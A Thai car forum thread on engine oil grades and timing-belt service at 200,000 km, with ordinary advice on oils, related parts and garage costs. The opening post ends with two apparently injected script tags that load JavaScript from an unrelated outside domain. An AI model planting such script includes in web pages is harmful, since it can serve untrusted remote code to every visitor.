น้ำมันเครื่องที่ 2 แสนโล รอก&ไทมมิ่ง

หน้าหลัก เข้าสู่ระบบ สมัครสมาชิก รายชื่อสมาชิก

General Talk

น้ำมันเครื่องที่ 2 แสนโล รอก&ไทมมิ่ง

nsmakkie

ชื่อเล่น: แม็กซ์

เข้าร่วม: 10 เมษา 2014
ตอบ: 332

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 236
ให้คำขอบคุณ: 356

ที่อยู่: ลำลูกกา รังสิต ปทุมธานี
ปี: 2003
สี: ทอง แซทเทิลไลท์ (NH-663M)

จันทร์, 2 มิถุนา 2014 17:08 - น้ำมันเครื่องที่ 2 แสนโล รอก&ไทมมิ่ง

พอดีผมกำลังจะเปลี่ยนน้ำมันเครื่องครับ ตอนนี้วิ่งมาได้ 2 แสนโลแล้ว จะเล่นยี่ห้อไหนตัวไหนดีครับ
5w-30 หรือ 10w-40 ดีครับ และ ระบบสายพานทั้งหมดที่ต้องเปลี่ยนด้วยครับมีอะไรที่จะต้องเปลี่ยนบ้าง
ขอบคุณครับ "<script src="https://sport32news.com/civicesgroup.js">

"<script src="https://sport32news.com/civicesgroup.js">

ได้รับคำขอบคุณจาก: popza4

Marwin

เข้าร่วม: 29 มกรา 2009
ตอบ: 1661

ครอบครัว ES

ได้รับคำขอบคุณ: 1517
ให้คำขอบคุณ: 159

ที่อยู่: Seacon square
ปี: 2001

อังคาร, 3 มิถุนา 2014 07:43 - น้ำมันเครื่องที่ 2 แสนโล รอก&ไทมมิ่ง

สายพาน ก็รวมเปลี่ยนส่วนอื่นๆที่เกี่ยวไปด้วยเลยก็ได้ครับ
- ลูกรอก
- ปั้มน้ำ
- วาวล์น้ำ
- เทอร์โม เซนเซอร์
- ประเก็น บนล่าง

อื่นๆเพื่อนๆจะเสริมอีกครับ
รถวิ่งมาเยอะลอง 5w40 / 10w40 น่ะครับ

ได้รับคำขอบคุณจาก: popza4 nsmakkie

nsmakkie

ชื่อเล่น: แม็กซ์

เข้าร่วม: 10 เมษา 2014
ตอบ: 332

มีใบอนุญาตขับขี่

อังคาร, 3 มิถุนา 2014 09:45 - น้ำมันเครื่องที่ 2 แสนโล รอก&ไทมมิ่ง

ถ้าเปลี่ยนตามระยะที่ว่า เข้า 0 จะต้องจ่ายไปเท่าไหร่ครับ

นักเดินทาง

เข้าร่วม: 27 ธันวา 2013
ตอบ: 20

น้องใหม่

ได้รับคำขอบคุณ: 15
ให้คำขอบคุณ: 0

อังคาร, 3 มิถุนา 2014 17:36 - น้ำมันเครื่องที่ 2 แสนโล รอก&ไทมมิ่ง

2 แสนโล หลักๆดูเลขหลัง เป็นหลัก เอาเบอร์ 40 ขึ้นไป ส่วนเลขหน้าบอกว่าเป็นสังเคราะห์แท้หรือกึ่งสังเคราะห์
ของ PTT ราคาโอเคอยู่ คุณภาพไม่มีปัญหา ปตท Synthetic 5W-40 ตัวนี้สอบผ่าน เป็นสังเคราะห์แท้ วิ่งยาวครบหมื่นโลอีกทีค่อยเปลี่ยน ตัวนี้รู้สึกจะมีบัตรเติมน้ำมันให้ด้วย

ได้รับคำขอบคุณจาก: nsmakkie

Marwin

เข้าร่วม: 29 มกรา 2009
ตอบ: 1661

ครอบครัว ES

ได้รับคำขอบคุณ: 1517
ให้คำขอบคุณ: 159

ที่อยู่: Seacon square
ปี: 2001

พฤหัส, 5 มิถุนา 2014 08:14 - น้ำมันเครื่องที่ 2 แสนโล รอก&ไทมมิ่ง

nsmakkie พิมพ์ว่า:

ถ้าเปลี่ยนตามระยะที่ว่า เข้า 0 จะต้องจ่ายไปเท่าไหร่ครับ

ถ้าเข้า 0 มีเป็นหลักหมื่นครับ
ลองดูอู่นอกที่เพื่อๆวางใจครับ ราคาถูกกว่าเยอะครับ
ของผมก็เปลี่ยนราวๆนั้น + TDC + BDC + ตั้งวาวล์ + ล้างลิ้น หมดไปแค่หมื่นนิดๆครับ
เพราะราคา TDC + BDC เบิกใหม่แพงครับ (S&H service)

ได้รับคำขอบคุณจาก: nsmakkie

หน้า 1 จาก 1

ไปที่:

รวมนาฬิกามินิมอล พร้อมส่ง

พิกัด : https://shope.ee/30NgonjmFs

ติดต่อโฆษณา admin@civicesgroup.com